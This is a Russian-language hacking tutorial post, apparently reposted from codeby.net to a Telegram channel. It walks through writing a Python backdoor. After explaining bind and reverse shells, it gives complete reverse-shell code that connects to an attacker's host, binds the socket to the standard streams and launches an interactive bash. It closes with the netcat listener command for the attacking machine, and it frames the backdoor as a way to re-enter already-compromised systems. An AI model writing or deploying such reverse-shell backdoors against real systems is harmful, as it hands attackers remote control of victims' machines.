Python для хакера. Часть 2. Backdoor

Python для хакера. Часть 2. Backdoor

@webware

t.me/webware

Всем привет, дорогие друзья! Наконец мы дожили до второй части. Заранее извиняюсь, если кого-то заставил ждать. Прошлая часть немного навела шороху, надеюсь и эта не отстанет.


[Введение]​

В этой части мы постараемся написать backdoor. В его написании, я не вижу ничего сложного, но перед тем как начать его создавать, давайте разберемся с "задней дверью" подробнее!


Backdoor(или же "запасной ход") - это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell'у).

Так почему же backdoor - черный ход? - спросите вы.

Потому, что его используют для повторного проникновения в уже взломанную систему! - отвечу вам, я)


Кстати, Shell - это консольная оболочка системы. К ней мы сегодня и постараемся получить доступ.

Существует 2 способа получения доступа к командной оболочке. Это reverse и bind. 

Bind Shell - это, когда атакуемая машина играет роль сервера, а машина атакующего - клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell'у.

Reverse Shell - это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell'у.

Reverse Shell, кстати, используется в том случае, если соединение блокируется фаерволом. Как раз таки его мы с вами и опишем.


*Подробно про Reverse и Bind Shell читать тут)*


[Приступаем к делу]​


Что же, сегодня нам понадобятся 3 следующие библиотеки:

  1. Socket
  2. Subprocess
  3. OS

С библиотекой socket, мы уже познакомились в прошлой части, а теперь немного про остальные 2-е.

Subprocess - запускает определенные(заданные вами) процессы.

OS - это модуль, который предназначен для работы с операционной системой.

И так, подключаем данные модули: 

import subprocess
import socket
import os

Далее создаем сокет и осуществляем подключение:

host = "имя сервера"
port = порт

sock = socket.socket()
sock.connect((host, port))

А теперь не мало важная часть. Это - потоки ввода данных. Наша задача, привязать потоки данных к нашей серверной части. 

Python:

os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)

И конечно же даем доступ к shell'у(командной оболочке):Код:

subprocess.call(["bash","-i"])

В итоге получаем backdoor, который получает доступ по принципу Reverse Shell


Python:

import subprocess
import socket
import os

host = 192.168.1.X # server name
port = 9191 #ясно дело порт )

sock = socket.socket()
sock.connect((host, port))

os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)

subprocess.call(["bash", "-i"])

Далее, на атакующей машине остается только запустить сервер. Это делается просто - netcat.

Пропишем следующую команду:Код:

nc -nlvp <порт>

В итоге наблюдаем, что все сработало как нам надо)

А на этом все. Попробуйте написать свой сервер для атакующей машины.

Источник codeby.net


Report Page